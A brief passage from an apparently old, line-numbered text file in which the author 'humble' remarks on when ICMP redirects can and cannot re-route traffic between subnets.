  778 net route for that subnet, then you can't use ICMP to re-route one to another.
  779 At least this is true for the boxes I've tried it on..
  780 
  781 You can still use redirects to forward traffic destined for hosts that are on
  782 a different subnet or outside of the network.
  783 
  784 humble - jmcdonal@unf.edu
  785